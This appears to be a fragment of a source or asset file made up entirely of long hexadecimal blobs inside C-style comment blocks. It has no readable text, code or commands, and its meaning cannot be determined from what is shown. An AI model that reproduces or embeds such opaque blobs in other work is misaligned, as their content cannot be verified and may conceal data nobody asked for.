7eb262ea5726a1c4f4e7f6de5ec1689d28fcd1de49aa9b4d72e97570f737c4f5d64454305f3668f8fd3bb7b7fc2164287f27af7777be9740d2b0afbddd44a0572305d828540a82c2b1ef2bc907cd55befd97bab234b28f9b3cd75d195b385a09eacd2886d4f57635c81ab4f8f4c192000cbc6d593a69929241477a0f5f9f0b2b6761ddc0a2887149c50e316ad5500db4dc255255fdc3c40e2c929e2e5b5ed928e409be93a3161287d2f94a03c6f41528bdbdc2398ea74a39b5a6ddb84819a323d4c96103dcb7ab8a1f4d91541bac9ead800ca7ac1f7b67f192f9ad5ecea64eb8a02fe9aea19516ee32e028aac27ca40506f69aaa96121e28958f807fc27713b166bde23e5c9648048dc49950aa3541b3afbd758eb6d9c3414a582b15b0e99a201a434326fffe663115de61d775f33aea6a4d73349979f07b870c6675339cfaf70749a7c1f053c26724434e1ead9db2467cf0eac6433f2603a5c8fce12a758deb797699a6ac2162e786896db8fa915db1cd6d819c0a115aba5cbb6fa3778f87e42263bd1a019945fc8c359ae0e392cf8c6ca9c9856491dd670f0b8ad7e4baa57cba15eb0214416cc9ff97af36d4cb17e48151bd92011e16a492f3a41f008f6dea697bfdaf0a871d54d5fad93dbd393667ac3532d4bb93f4892ab60c29eb4c1fc27b001e03e4b3899e85e6940895a869a548663d2d30f9dcf3694d1350d3e53b97c62ac06bc4fd4a69243ea7a67b2b36847e177a15102bb76061016a68a0c5e16ee00325d4ea8d959e1d97df401c0c71309c5655dce5ed79858a8f9d5cd96709626922238a440a3f043333f7b887ceceab6eb64160ab9e7d69c658da5fe4fc083cd67a667fc775f191a97e9881df948cf76c4c42d22d72878fad5f5a3757eaf958257512dfc13e23e9010450ef68535cb8a53e258e47075c1f81ef5943dc80452e79d9ea68f6a5a6020a6146f6ca9adb8e068507f660e935e50a8214d010d33eb7d5f7ae8681bdd8f0ba67d1521800cbbd7a01acdc5ca9181186273902156a063dc4dabc80062d6f209eaea6fa2c4e7a462c70b3297b97cadef972415466ef887366ceaaf02ea6984b267ac12c25a9f043e3db5db179f2a9933d0a31f3652d8146dec949d8dd2b5c8e1f7891bfefe4ce0fb06b4f149dd62bfef6fd06b6e9ac9227f87b2f2a8e6e1234963f8d7585f80623a8c14dfd60718497448677122a1756edf805e4be83284c6287ccb9b615f4395bdd91fdb2eef5a6fb77abf3e83b6e8b046e8bf4b57495856d058a22afa6fd6662eaa70fc82f5077f43c1a1f4086f991e85b97c4ac3922a13c33ecb8821bb430e5338a035864f5c7aae80201606a477fc777eedc573573771342e85c54bc89e6534302f1633873753aa1bddb339c2a801b9ccb081c69cafb2f89762ad5177a451ba163079c1f013248f1986c598c9c6b5e82c733e54bf84145a4893710c21dc58b3233513abec1f1372437cb9f7470922b12e507838ec8140974c1eaf17f3a293c54664d1f555def793bebc97e698d9f23ed9e918e0f73a058263f47767d7ab22d99fdaf996f4c832cd06eabad2610a1ea5cbb1034c4413a65e2705f42fabb2bfec71ac40b8237dff9347986cf01d3fee433f24701b27b95709ae5b4d983853a0725271eb7bd8596a0beae68334daa2b4054de5d08b82021661e756d5da91c184baa790ab43e829e5b9bb7a8f0066d76eca7b2cae5e4a82b231641495279f6ec74a45387bae2ccc1b11ee1b387971ddd8ae87551008218f093e3b8cd3537b8f12797b17a7da21a4249bbe1f06771fa5af70849aa6c701922ba8639f3da2f8f255547bdbab9c2f68fdbde07b8ca4fa56722a5491a3fa2ee97eaa0374d3fcd5d08ce4faa949066d60656da7b0339594321c1fcd822d86b6be4ceb03d7fb85f7ae9671def2e50315e38d81256c31b1e91373c63d10ce92c2fcf7b6ebf24c3720d0b82bb4bb6b2950535d6673084def0050d7c7e0921cf370106331b2b7734a445eda05c5c9b3646e4991dc6fd12c2c41c78eb2d58bacb8769ebcae496de34c9ff6e0df8b3*/
/*1aafed2174ec8613ce3f47b19dfcb80acb0717390a76187cf568d4dac23f4bc806e3c911e0f5908748b10cf35c8fca21a655b4fc88522c53560939a8230272bee87618c9d6449849aec249941990409e79f0b2d864d53d48bd627553d77171f5a887b704b847b6194fd6dad7dfe3dbccbfc310213aa187b83fed2367ad65ec8080d8a4d508dce404b0f756629371330fc525d5859bcc080514cb3218416deb11d9335a382f041f52ed8d3d92b86d1e7e21c1be3bb2fe17922379d615f9f46edade169fffa187a3d212fa3db9d99733cdd0dfc0e3545750c026ccd765772f700d4576090598bac1499727ac54fe9d24723d0c37666d8640391c20c14a17835a3ad23cb1fa7fbf37a58c9e534f8d447c412d634e919491ea7d187e7d8f396f1c9232a863079bfb168b843f960532ce27301910260d47d71005089f41e2c267dd9a97688890d3fc61850db36304209f58722daf191f062cf1d432fd14f736b8321a49286eca6cc4653c0952a439be754966f2243a5adc5d1eba1653ec3b42221db052e0a192a61150c7d2946d48f4fb43344bb00854aeca6db0cc8927483e65eec504ec3e3a26c2cbe09807456a2eca028e180c553842e882d90015c65d00f3b3d2e40e958533eb2c2e044e38601129275e85e59cc81af9b3d6c210f809f5ac98006fd5c98cf100fca2600cb65d15951c61b6fc6a67eb708f5865f8482ac8ac7e3ef5b18c6a8b6dc4191e2d0cbecf674dfa16ca5261c6b91dec9d705afff90781e4ef5c94b032edf80dec197d6b33670ffa3e3da29c65c0bd9e0be4e039a29ce95825f857e81995889160466c7d22b13b2a468ce92107cd5b042b4fd6992e3245921811176bc6daf3431bda12e1c1c835ba1ccbac52af8330f1f7464f52561c30dbe7c6b9ea6a554a65fc63aa026c6424d2ddb788f30a05cdcdd337abe99d83b85087f8ade3d32c621dce52a49ffef7865197c6370c9bd7d5cb06773e3169e300d96c55af35ff50f684ce67fc9d7d1f3bbb363f5ae57dacbf8af2377e5de3c1c28ed16b5660543bfead8dc2dd35862bedda2a9f446e43ace783a73a8b51be298220eb8c263e058db4a78ddae860ca7cad5e48617a18d1488e1cf924714ec26f73ec6cdcabdf1c71816b4232e9dfe410981c020156aa347ad4dc7333bc384a9ac5218100efb389e5cdfdd6958f4cff0d1f040f01091670b379291518e6f963950e6092cf382d8bb1d0f330df42027b453bca8fe13e22c33a2c4d22326c54de3784e84974c2b7f32e2b9f506ecd9ddeae586fb36deb4963c6778fd7e4366db80fe737b67a9ff2e9fcc4c87be58189f66911000acb2678e09123e0f7c89be63cb79d465bb20eceb4c1ef018c9a64a495742bf67859580cd951eea3343be90e306e1f5977eb5adace10d1b230e1ca01ad9426050233ca131434cde76ac6a75ccce1d0c5341cb073d8d320112b6d480909227e29c7c0ec63f87efd97292077c0ffb07a8c542a11b6bce6b47b907b13382328f8d655934b9991d3007b775b099c2c5345bc8626b42cc2b9579f8cbbfd607129ef8ebbbfc8c475d7181bf946c0a396f98d951f55273cac89a08147531a099d730fbb21cae43f4807e4072faf9408c49c0e82a8c3bf8e21db3b25d11ad00f415bdc3da180eb4343894bd641d96e6b11e78a85ca640292cf1f6db83525fec1698beefa8fbbf4bec277fca6ac9ec5bf902cb5b786a2de0a06d6635672a16af6142fa71c89bb9f56b46300349cae6a2dc1c411c162afb9170c350b7af2750fea0068d662a510f423ddb7288b5405a5939c2d87d32e4394686230aee19fd14831d846219b2034317956aa574708b483bfd1fd2428177f7bcaa91be7706134666c8e5143bfe05f53306ddddcbd083fe744e146266cde45ca8898377374319643f64a3257741d400c9934b10bf084cdccaabdf0f80114ebdbeebe37d02ad69ca10d4bf687e7650bd65eda5e20b42c22f72731422c40867eec5db7ba6e856718ccc2dc89b0ce7d4f6633f8fcd269910a4b44219e21c697b0397f2adb3f780b93fdaea41a803d60da98249a8e58d1c142b5feb080b269c5853630e83b60be6525fa309a6f65fb6d801d69e619fc476b6b322f5e430754d54299481ef6e0c7edb1180a9d0fc25c158adab6153b60cd0bef7dc075f2fbb5f479ff6b15c5c6eaaeb93af2a1226413c9287263abbc579a5094edc6d59583860c93aa4dd7d996e0b669d89255d7d03f6c28e03b762230673a6b2d2a127e41c53ce8487dca587b1900c02c097303c128abaf991907980ac3c0831f3780bb8e93558ea7009194b8b7406a5ca23975fb249c8208102318241a56ad356efc9d60ddd0bf95745893980ed29bba8e922841476ef643fbb6a4dfa06733b9bf597b6feafa80b785cfa3b6de54052978a9f13dc2a67e56ff266fcfa72a07ea66878b6ce8b7cb124743bc3643c90b2fe549375d308f04fce9ae4e5c837211c8b8f5ce5995225349fd7b9fa70f4229e6bb7217aa88d3d2030986c040964d6d78ca21156f6ed16e7cf2e1d51b373f0a585f14a3ba014e927c15a3037954e944b2766c726b9007ea049702cc01db2042f44e5aef2c50146e5ce38391c283a893da6b7b39f06ce6fdbd24db7752ca3c3f2532d2ffe09186941e42144417d7a0590775eebf4667441de9cd2f046badac8617bd4ca8a8b1b3e85c85770be8551d41f577d14f0633a1f4323347f5ea4fd39e59e70428f2dc8c463f5e60429440e48bce1e7964cf83729762fd4ce8ed8d3f19ca41406f24d715c3a20173ec9728f548c63c13c9a76685b57feadf52855a1d4ada96ba1bf7e5*/
/*0dbd993dcc8bb8e1a16d15560ee582e03e23ab91a90ba7fa7579c89f4520d4a9ae8bd73bfe0028c9934fbb859ff530739c32f86a78366e41e65f33be58c1b7583892d6362a7c226ecb96ab6c8debe958531c82811fc1d2ec3fe0e3d107baacb23f91812837fd98c36f6c54f3ba27d5a0cf9656d99f5167c4220d9989b2812a655e374381f3edeed0011d85abd7e449cb679b451ef953b61880c5af370dae5b9eb24f6e963ddbd5a5a64cbf49f921ecacad70ae1dd1db9f211463730f531f2015a3220644b1e1ef62b395d9a6969cc1e7ae5ee8b1572b88c80550fce616a0ade0cd3a8067e6964d9d674c05704ae88362179aa9f9e8ebcc91053919119055f90cc2ce80656c8e9f31fd6e2a3fab9963a294874c585616585f054ac532267d73999b70fbd975f0fc3a5312d7cda13976ede21f7d3bc6f5e44cfd8863cab3f7b17acf4d105df6f45def5ee0761396755665025fa7f57eab65e132c1683f19e3836e807b01d7a753d808d751947656ad13e64c37d35da81200799b91a01eb52e184f6886f5fc949e3f816a34443b504532701074710deebb4587e4af86587a5ac53d7733396e1e1ba4ec4e2d63c31409238ecbc097cd01e8ba91113d05e44352f95d91d3fddbeba5da080304cd70bf58bcdae18d6265c996601c96ecc19e86006585d3d4b7ce8b210fd640182e30fcba6e46ba43e1112a82cec00f6d84f21020761280d72c4e444699d5a5131e74437bef8240853213ada32b87472d43c234de7f88b14604700008972dab72d4f1e1125c56ad09e14252d70b76dabcac95113a17a8203d81fe1aa20a977e0b2bb39d63a4aae67eb8a108d620f41304bbe4fef5422243c51fe0d8eb12c2c5ca36f96704edfd88a3fb0e442afc69989e185b7fcb3ec619e8223a06c2ce823a519588ce16d67ad1bd673924118b9683d5aa4212b0dbcbdb6f9f666d07caa7c1304a51847fa5849624c2f98fd5668dccbdf32558d3ccd1c8136bb8875c3f63bcc654b43ffb65a81204f3debfac821e8e3d60009b9928a06fe3e6c8abf31d5c447ca006dad17dc43f76dd2dea8eb3f123c26360d53572804a192f6f78c6db86b46a17d05557d1348d0c9b1eb98714f9382a3c7809bfe2fdf80d8ae0b80a4370fd9132fc1f01eb60c4d0ba58ae08e36377c88bb59b47a9bb60af86716eecb055401b96b8ded117c3da711d9727a2b66a24823ceae152d58114b9b7f0699317773008c674786da11371755837db5532fe945f15a73908aef3f4b967f89e1b40f6f53a9cabe2a7360f19588a45f1e12a19353774571b71ce62a8581680d31a37e499b0fa737fd51c0c36b5009ab29285340fc973261fc67caeebf02293d08fd41be842100e31c3cb5c0e13c17555b01573185891656e50b6cfb19531247723c689642127cb3f8f72c6320aa7d70fbd907d8e3860e08121c4b0654b191066baec48da240ebc3c9fee7a11bcdba94bd44a21d144ca92d9a652268eefb5a8b5bf4690b6fa35db35c163dca3715524a7827d07cd0633691193dbd4dddca659dbc7f93f0956d5497f5953ad9d99efdd47f91392ffd6c7b71d88240b7695e238e2e1654e3808db1eedeb497700f6f67f6ba729ac8e7095ded62c43c87dafcd1950e4cb89405e671ec6cf57823b6b54691b4a6dbc4735c33ad67bdbab3b64d326ef4c54b492cde686b2c6e53509e9ad87b1f5fedf9ac3ab33837ad5b9d9b0dd96a55b40855439a7acd950ea89d1f15f355c49b387cc3ac5305ffa428f3fad19215696c987e7c6add1416d9a14282773eb96aeccbb623c926994ec08e93ac540a0265eb59751b12129ca89395e2635a9ff07136b69d563b48d40a973edfdc7017797046036451c7692f0c06fc58f7f5d0a385defa7422460b8f1ace223634180b9c70420e85ed2adc37e9f313ee2d2fc214692ca2fe5b2c251327fa9d64f9a76b7465bd69a271fcb2764e4f0707de51da26c1458b34ecd186b74bfcdd7b56016675f3f62fd9f4ed190e7df58277f71d19937cd8a6e1a29b5ab7f6fa33089be65ed6baa7ac7d93a891c2e0dc0d88de7ea02b29db9539da5e4d650a218cbf471d1d1f2be545f15cee05df4be6353e78fa40a60c6f4dbd2052c255060d61c709e74010d134838bfad2e8befd6ff9b407a821f89f34505dd68712af46e5a1d88f601f277998fdf9c28818b62af87ef7acc322436d1f2d5cf060df463babf9668288769586616690282816eca4831fb74db1eafcd04ed3eb74dbcd31831d2bdeb8579995ba43a64027ee3c13ca1a11c9c1af4fbfad205e8744fbfa56691ef8cbf570c7fc5648f0b0c85e13cad4bddf6af72ebf2fd0256ec161820254af754c9b5b2ba7113211144f2b8e4232116a11d6c7e1fb49756aef8c43b89c873c507ca3f611f0ecef00c10969f1cc390539fca652a3c263f056100a7a8445f5f3d32369bf9a88a9ecf5688fa7c3ff5cf71eb3aa44a4c2894fc38c7055a2255fff446f3e7ada1688f95df9c64ad803440d73b192085684f23acf34b4ea82915d7d5312db634f2121bd90ac83eda912a3f5cd9f407068612bb9375ba3c3be82dc1223b5f8c036c0aba56ac535a3ea8592374bf5c47d281e9128e488e8ff5df6c13a0cda4e04364d810fe49b46253677cefb9de7e2b39473d9c453377ceffd2e9f98724bc2d8f303713832914c5b682c84d40b26d6bb94bb92cb25bb92191d53a3fcd01c7c1a491c4240824cdcc648ec6d87fab87b3619e311216edc5c00df9ac75906459fbcd50be73215ab59f4e74dcf3681ecb1a580145854fd4d876c4f6839d54c93ed8470522685672213983f4f4190e5c8b*/
/*904354e946e3ebd4b0e755534f0a67bd2331e4d4356afe99051fb2a8cbbbc34b94b6febd17414edaf659f9eb24b24e444a5ecba9aa66122ce5da50fb5903153cabde4f89a95d066f674d8f39ce6704acc1737391a44a1dc5a2f67fcc5106c9f2b92aa9142dcd7acbef57940c3b665abc59538c1b696ab5eb9fa001c75c3b134338491f79e7467031fbb5d8ea1735b7bd5653cf25e48ae1b3df0f3ccd4139fee86a0896de693fc94581983c9090979380d935a82bcfd078f5814abb6255205461d56b1d681740e9fc5e84b489f759731000eee55d638c535cfde3110b03864c7bbfbff036e5abc3305d508109238ff5c6afabb2301fa04624b427a61ee88a909e3b9928180eeab678b9124af5f2c0db4d80ef14d225770ff71ad9cf6ca0071af8d7c090b0a8c18cdb06fc502e0c03c0cef1e89b38e72bbb0f8ee9475ca952bca33ce08cdac498199e5cd192dc0b6dc7bab402ef04c48b6736f57073b6b3592095abb032618fbbf71dd9ad15fb72b56957699219a6f4d0035471a2178a8dcf4f3100c82c5682bcab0492aef8060a58bb60ac33474d8291fe647f0703eda220253780504cc00022165e10b7ba33c87f72a50bcd2cb83ece7edfb19bb73be7e6567b58ab55d4e9c1ae00a74af4ea06cb06cd8b4b5af1efe1b7f706f2dd3eedc1b32b6d02f4008652d043f5abb9193c742fe47257cf5f0f534898987cb67fe215eafe653fcfc79492f950fef86576e2c7eb520061a4ba438db0e4aff880e110613e879463cd958f2df7e42454538de9ac08656e0af52b935cfa54229e092e2e0dc1a237d4b21da3826168a0b4124bbc122e4487d1a47de0ebda8d65805f5414a3bb20d2cf757c595c26107bc769e62a03dfce5e94a85adb422ffecabca2c34804cda99e571366c229bc2a521071593bae9f703dcdb698867ab7059a00da9002185dc0e203d462ef9d2f2641176775e05d09ba627c69fac22f0218963d4ef3dac292ca1a8ba9be83893232cf77834de18f530843bb03aac3c24eb43999b4e92c11a79b6eaf24be544f1c3254992da360eec4b6a28ca23aea084245208c48f6272568504a4fc9a0fa0d5266e6f6596affd464aa88d5eed82afd09706a495182824ea3e4a447046f67f38fd779e63f3510227554fb20f14db4bdeafb1458f3a1268daa9e2fc48a7e0829d60ed7666294e1878cf7bc6f2bfa7939694531c7e6a6be3910564a46b00e258582e8555d8423db4120b62d76f1fdf36da788f41ba511b8b378286c858478f10fb5ecf916d5eaac587d83dd076b143b17cdb19c135694dd5459f411986c630d48c8fcb9cd0e423783654ee306566beeb0db2c664a3a026c481e0649e571691eb8e1bee83b459db5b51c22053fb115b33b36a305b88f3407d4f28a3a4cd4264a4285005f24fd370cb5a01c462c7ee6b6ba312e18f5119e089c9e9e7ecc94dba026a96e0c80e66f8b0957993d9657568df6551a6011eca3bf229011702f892fa9301332377e5e6d47e8c093fabac58c637c4a69026543be634271eeb2562ad27a60a1e4e403dd1a1d77487ef1446e0872b6a027ff61dd08d0ca484e850a43cd252ad62d0c126b4814e56dfba60588ba2c079a2b523e19f6e5232c11e4d1f428ced0639b552238e10cf3fc35941dca479b7c5d67917dff9bc231249627573ca83b2397932ce09121f2b7a94b0d43735faa81042f3f3503e9b3ec6c609bcf2307815542cbbe287015aa948d85696b708054ed2d4c874a736d77d44ed7fdf7c56755ca76986cb61aee93f729222b7d7534fa65f05a885d67028d1f514037766abbdf3ec48a27383d6813542375743c2d92f7e936f4ac8577d9d8bb892d182b0a01010f4811fa4a6b7d8ca085eb3084c63a59d736df3924c5bbf7fbab7dc71a6bf59026f1a983a1ebaa34eaf78ff2162fd14f63b03df08d2f756f3c7626d21a8f0eb2b8f739ae199a0d2de7f0fe849a15b0be94a97362175c72e9ea18bb036df94213a2f61409854a39d1eeb04dfd99439ef7dbcd8d3d41dcf22bf441c09145cdb3bd279975d741632aef91d63abc1b8269b03e1c429c71a481d4e5c220d39418f5b113b5158725c9f3a5154cc55be99fa4d2be0db4900593802b5f850e3f7c70299968e08573cfd725fa12929b85564a7d9ad2070610a5355a2ba04e574d394a930b65e6d31b2f7f594f57775af3c88194398125276a9e34a41dadb95689844f364a94518515ed44a8708e9335e1ea87a523a6dce011f81ca86bd379baeb3bfb36770090dccdf0474ebc638e0b61e3b9a0366a22cc385768f5ae38539fd97726ffde3b7fda2a71d6cbd2b83a28ab16dacbf500b88fdc89a38403cbab05649f1586ffd235b776bcc346a91db2f59a67ea5696a38184d501772c6a209c038d08ed2c27a7e41bae22dd042d37a9e9c7584faeb90aa67fa8e4d3922569acbd2b0fee4a0cfd5b944a2917c451c06afe4306561cf0cf2b236bc5b0048ab7031d3c4b3f0903e8ab8c8598a14e42b315dfbea188ded1d0fa76f4588e421e1083cbd50c4ea914a26fb298a6b8621027998d76ea554e8e98959e67120502a1a24063a965e2505dfafe9183c7fbff6c658eb2bb012661799bb0b921f7b10706a14172eb03ef0361030e3edee29eb51f905f7528370aed24150020c9838a423a2355f5e8ca16eab3289851d88ef543c102574b422dbdb64b0b9f0f917540ea17779fb5366509c0c98aa9e41e33286c2965a6a5237234c3122e11641fbbbba06a3a26b584d978b188c9a7acb17805c12243e9c030e7ff8394ad992f17f1b7eb329f9b20efdc352b7a014b0152fdcee964419942*/
/*f634dc4231d202a382b74b0c516319a539396eef651003d02de31d40dc799f707a60db363a3b18e93b626e86dbaa7509fe8a83a557f93340491efc98919f9ea8f884adb970f52685c917783fc69411c6c2ca4d54be36594266e0440ffb51bdef0fed5ec0918776383fb7e9bbdf9b402619cd305dd2bde2bdc30f320b82a38f83c7c34e8b621a90a5a6f1912577e154597c58515a0fa02eb3dda257b1ea15570e7147413ec83b5979cd64ba3f0480f7d937f31d57057b7dc67940f5625eb907f2021126422a405a31184a2903c2c6239a10365c7e08721fcf597f2a7faa64305b8695478f1da47176ac8658d68df060c44994aff97c19023dd70091236eaf2223cf5c1497a11b31a61d3e651a571dea8ea7855b33f0f08b0d093e76ccb950681a5297cc694dbd0979b769c612d99d3d55439cd688d556510b6231a2a01663894067ce13a43ace69b42f9b177c167c55a95ceced900db430659dac3a9d2e59f520235da33bfeda928ebc4f6a8c583b3ac4b7165b2a3fb9f86fabc2ebc423ddeb5a116adbcaee22b501cde8e45fc80081f8e6c967bd68a6682066c9f04a1e55dc4f0b8385c627f86dff38b213d296e524547880425c1560714aeda18bc073cf02542430789da8c631fa2951ae3a08072c1892c26a3f5a505be2da3fc9f67491ea5b2a503c53f8ffe787b64c284c94bf6c03bd3f8879f67f6010f53b5aa7070e370d379de956b77ea60656a80f182d221fd0ffb11cc9509bec205ded400a4fcb33248b8788ec8cca19f3f30d05b97f1d59d78627491b75fbf361bfc52d44bfc0ecb8ceae8e58b83b06a293e5f408fe4a1d211ba569b76c859b6620b10b47484c18e90bc30adb007afc64d709e19b7defced7a8699ddd846185ca522d2d045ba24d9ff8e80eba1f025be712335acf840c3d824ae8fc7ace702cdf6d29fa4648b82a2eb61fe81ddae4a4bf440cccc5b6c2cfbfe3de383b51189a438a639729f5d422c2ec59284dd54631082694214ec030b4282e43248854d7a7cba4154ec58a05507239723f82dab8f56c5c99372a4c01f8b0af9f1ac2de05dc37c9d31370bb44df099459a7309e12d068c3aeffabe4bdeccab9f95ff654e453daf2f9c7ef1187d673e2878b20ece18cd6b5f5a0ca586627154a09f403d0f069b25e5e0e55ee2d978b2b6916ab92e5e06a7c178aa1490e4f581bcbbc9c38f4b0d27e71584f5f2cb9bb4fd28db728228bc7272cd6a089922a44b07953046b3111d9391d53dc8c2d681e6f0b214f5221cac84cac428a3de0cf73382d7543f165f007b54a6200b9ef5f9d0ff8133c327383eeef50821e242a3dbd15513c49af3a05f1f3aef9e8777c1024b993abb43fb2bad41a2653d1cc15df339a003c9144c9e260791bdc30f57ef096d82efe9c217437a408bb4ef34e8c0b2881dd38c6e3eb69fbd99e7993791f91f062e44070391280ded9c3a4a669cd791fe0686dcbb6ca54c3a9960d08cc759af668803a2995b7b1f958cfe45601544f4755af5ccc401ea494099796e0b464be143fddc445c679b5e66436bdbdb13f2b00778ce5be65724dbc86ed7b7748d1b18873a1902ae72f571e775d160484e4a1da773fed6a784f4406295fc4096a422b7721ce99aacc3ea68adb3a1b7a32875c802c4b97d2947a75fef403eabd82f41999a1b7d2eb9bbc80f7f1a7b16fa75c425c0b74f8c93068d15c8ebc748446df0e3c72eac428b19274e63d289b0b993f1479e65e3c60e9aa3375d38544b074379c4b4ce8a11dbf5f6935f8624e042e858fef6761cb774cd03f458aa4ab927eebf373b955fa5e32a6836f8c687fcc53607c6eb3bb1b7eacb604bc2365378c91464f2b3f8bf6306b04d69a25cd8aed893226f30265b328d0fa072d4d14236d268e6788ce60094e6b6f0baa5348c83be2a7bf6c364b786de1aaaeb392b11565171b06a7ffd4cd35d0a04d36ee84e8457c774073ccf27e2b06411cd4b5cc97c112fd0e26776c83a5b58948b05b829f0a2ffb0b4f9f8d4d4ee2bd159808fc0dfcc6db41e0b7d743b0252c8b301e9311cd82cbda96aa9df4e460e7aa5b958827cae5603025f43a6cf157c650e7ec06102dfb9317bae6dfba7bed0fd4d25010dffe7aeb0c8bed93f6c0a12b317f5439626b307ef66243fc132c082b42bf5eac9a119996c6212b76d19fc49d0cf064f18dc0a01f49b56969c7d37b5363993502c2bb1981737adb85d5b1ab09862285b00d0aa146d8dbe6c82836daf4d8665b595938b0d51b3c49b8b7e13a43ca2f79be6b45ddb5a5e1c5389ddbefc7775fc509bbfac3f319dc89c4b33f1a40f9d2afbb73ee27434d58700079a1c7e909eccfa5d5fa27dfb12c6559429eb7d946bfaf0e77d5a5044ef43510d835c30e17b63f19e0ea5fed555d6bdf56c0b3211153462c76f071151ebd953aff1c0a3c4118e9fed2bfa73baa6f60fe672d7b5bbd84435ba12b4472fdd1f5e772dd4dacacdb9e10d58755f0506aa8acbfdd5948a18d8ce7ef3443bc85f9dad7dcb0419e61bce913e81e536fc9ad57dab6be2a9dcfce6ab4050417e5a5c9997ffbe99aa79fd3c23732d07035648cf41e085da9ad0015f2890bfe94b19d8853fa20d473a1d6e996424e7c39621d163a3e70fddadbab3eae64227af425d59578adb4dadadd476af72b5b8c290269cbb885fcdbc714049755cd96e1a9410daf86bdde538bde22a5392010eb628047b171bfcf5fe1ef4ced65ee001bfa18e86ab2302a8eb08377293f8629e1e3e1cb15f1d68dc332699005d4619d4b4b4bef7a0d129c40158e774651a5be5cf94059ec6e5dae34fbafb556b8c1955a44d1adaf*/
/*93c74680a883ddc43f87d9a8bc50bbc55cac3eb253f785438de5bc0c8c8934296722b71e3cf7bf5a2df9a6e0dc9d463df9688ef54be04181ed94349460a2c8bfdfbca727a81627d93f1603609556a45536b86165827192288bae51e147f3293253e457e5cccc25ed822cedf98144fd9aee34629d79d486c24258e49008810636c06b1b8742b1b24ec5e37aa576fe48805ee22f233e5319a8271ce7c6620e83098704adffd52b5002850e5bebd64f9c24845d7df3d7a349396c2da8c472034ba0a5eeea49085549a1361491b39c36d6bb08d29a5cb160b4ddd2417114eb7e2706b05bbc41b24044bc724eb0767d64f32960443e8cb58521dc866540c4995816f31145dd2be8c084d5c7bf3f7605091a127d12141c8637bc98d3aefd19071a70fd08d77a74c8246eec5ba6ee187108913abd360c0f16ded080a1d41e8c45b54f3afc821e6eb64e40f00084db9ba4ed3539e8e2be3076cf549c7303bdb5228b743a9db3127c500b10455a47626aa1afc428d998cc4417a9fe14cfd1abad74d3e74c05811c05db257835169f960c9596ede45366af3deda3daeaab522f71e55c38166b8d069091b50e339b5c4c9a955266fad6f07ac47fc1fd710895ccce365fe8a92b222497605c53666a693b0c5cb8854dbc1d1cb26374b77848dfce52b4b9c477dd24849446ebc0bf82582902f38373d1f1378d49aee7a3a6502309123bb42b630739da608fd28a04b8103c70d2c116465dd5327011c1d6f480b72d67c51ab5ec21d3c266b40ba2e01ca67d42a5d86d866a67fe4a0570df4180422f29ab2b1604689b8f789ca48602680507399178828619acb300f5d676ec2969d23d8ee9178a2a0bfc04f4a502eda7dd40adecd9315cae9b2679c9998f1272b31f8de8e2526f5197b434669144ee800dec0e22fc86796794cd909c32ac2a59af0f23277a626f05a139a9b0053cf35b059ae353c5d36ea548dd5696a5aeb85cb9a9aad4fbd41fe7dd936a1685bf847275fc4a6f61700dd678ca89c409f34e06de3f9ae233368e8b995e1c9c6b6dfd81b7f1a95be3dc5670d4348f8dfab4869e848b12ad72e86a84776a90dd1153188272adc95cb15516816e8f83cbc1720d8dfb055b0e0aa07f6f2f95e5359e030c309d8f2ce76457760b5e391d6cb6558c88e1f3ff72fae4bab035a2f1b906ab75930c3dd7a013b42220cacd4dfe82fcc34be3666dc236846061c6d5ec1e1e9e65c5b8598d1275a1fd2dd9d1ba1f152e2d862b1bda93ffea4ce2e4f3e291233c1f25cf08718eed79acaf5ea983661fe4ee5e34c1b1adab8fced86093dac1b9a22bb6b2624bc3edc9b34700a7adfa2517f9644fdc61680ced92487b6a855d360e48fe2c636153f92f6c3376e876c70aba0edf5b16001138972756343d157940f4ffd582760a2fb0a49e7047382e792dec96deb79b037bd061df59fa722ff02a60c126b34002d4b45ae6c86e53c50536e30a9a7fc6ccb5db6568b597d1a0fa648c5c2415d33b32919c63c60e18849ee849a89e0eedfad624acbddf47b03bb8a88f32f1e3f5f05aeb1e1c41193ae1c70c3e91f715102143e499ec38d1c1c9efb359adf147eb040d6317f2fcabd7cba418095d1be33fad4c4e549ef199038ae11cfaa41264dbcf4bf13e22f0209a7a92f305db76e6f112234bafdb86b5fd299a698f42e8a5131beea344a9fb549aa5676d134396374cea2e8dc62f513bd18bc4d7c6abc97c59509636fc7cc2f283f31a88d0f391cc844a863a3ab78e43131ae79f2515dae2d4e4962de44109a15619871a80af2cd3332b3447f322337e65b526c6848bace643555d0eafcc94bf1221b06795dbfc58925f0f872f24abc25d56b91b2f5659a70d4d20c1cde98709360b55724838a4b95afa274d1d3693cbfb4545d48f421e9ea42aa0cd743b0fcc5985c4f44364b0eee126b56955e6078058fb8e7c840d095ad535f3cb825933dd7edae526d6d3b6d629bf514453e0198f09cfbc56f3fb6e84402ba55663426410e14a5037804acd4f824626cac368a6909549e4d1d0d7853b0a3f699457f2ec0cb0f1b3396fbbf7f3b11e16a4cb2cfb3024b48b5025e24f79f32dced4ca736fdd371ed7b57693bb95712d2257b9fbd48dc38ecf79c58e7f2b6b74aea1c3c9996f70aef6feb60883904551f0dc1b76d73f65b78fad0c2f615a6ed42db7fa612577a9d2a1ac6e6644f9158d129993e33b6d11c861b80a2565e1eadc881208f14d72ac8839359a4455153dfd6d24a2d76b173ede854ae00a112dbdb500e383a1feface06968a89ab3b519e7c57315116f666e007fa2911e32679115a166eabe7ebf47de20a061bffcd41e6b127717dddd91cd021e8c63cd25209d90b5f5ed505ce24bd4b4b526a4d029a07af2c0f5585b6a827ed3894085d42f027cfdf2952e59e8b73c8240e95ba08263b5afd16c0bf441f739e292653b4298a10fe741c0826aa4acdbf8f7582a42be5388d2003f4e76d48e2d4c3faa72f9038167bb5ddd4f38a32b18a7afbdcfc828015273abf8e5e2bc9a95ec41ab90afc227221a1aeac7d00c5d3584ba3a105375117fca78e5681144031f983ad4c6b8da057445dc6d5502ce028b8df8e5ebe156fd19ba0cb04158ef9c4b964641a0bb43a1db6521258daa45e369e6a7459026ec1278e63d885391385572e2edbb4dc52ea7511e5ef9e82f1655ca370b8c47a6bd832ae525c8032c113f9d77b941b9c88d66bf2b601d1208b02e3726702472651a5b3fb02c59250ee339e70af4cf546ef53173ff705c21d9cf7e6fc30b5348a198731ba94ebdaeb4b88fbd1c63ad828369045a00bcd8786*/
